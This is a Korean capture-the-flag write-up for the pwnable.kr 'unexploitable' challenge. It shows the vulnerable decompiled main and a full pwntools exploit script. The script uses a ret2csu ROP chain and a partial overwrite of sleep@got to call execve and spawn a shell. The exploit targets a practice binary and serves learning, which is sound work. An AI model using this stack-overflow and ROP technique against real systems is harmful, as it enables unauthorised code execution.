[pwnable.kr]unexploitable

sleep(3) 있고 read로 입력받는 바이너리다. 근데 1295나 입력받는다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]

  sleep(3u);
  return read(0, &buf, 1295uLL);
}

내 원래 익스 시나리오는 sleep@got 1바이트 syscall로 덮고 아무거나 leak해주고 main에 입력받는 곳으로 리턴해주고 원샷 날리려는 시나리오였는데 립씨 릭하고 다 했는데 메인에서 원샷 안먹는다 ㅡㅡ 화난다 정말 매우 화난다 ㅎㅎ..

그래서 다른 방법으로 rax 컨트롤해서 execve 로 풀었다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

def chain(r12,r13,r14,r15,ret):
	c = p64(0) # rsp + 8
	c += p64(0) # rbx
	c += p64(1) # rbp
	c += p64(r12) # call
	c += p64(r13) # edi
	c += p64(r14) # rsi
	c += p64(r15) # rdx
	c += p64(ret)
	return c

s = ssh("unexploitable", "pwnable.kr", port=2222, password="guest")
e = ELF('./unexploitable')
p = s.process('./unexploitable')
libc = e.libc
csu_call = 0x00000000004005D0
csu_pop = 0x00000000004005E6
syscall = 0x0000000000400560

payload = 'A'*24
payload += p64(csu_pop)
payload += chain(e.got['read'],0,e.bss()+0x100,10,csu_call)
payload += chain(e.got['read'],0,e.got['sleep'],1,csu_call)
payload += chain(e.got['read'],0,e.bss(),59,csu_call)
payload += chain(e.got['sleep'],e.bss()+0x100,0,0,csu_call)
p.send(payload)
sleep(3)

p.sendline('/bin/sh\x00')
p.send('\xee')
p.send('A'*59)

p.interactive()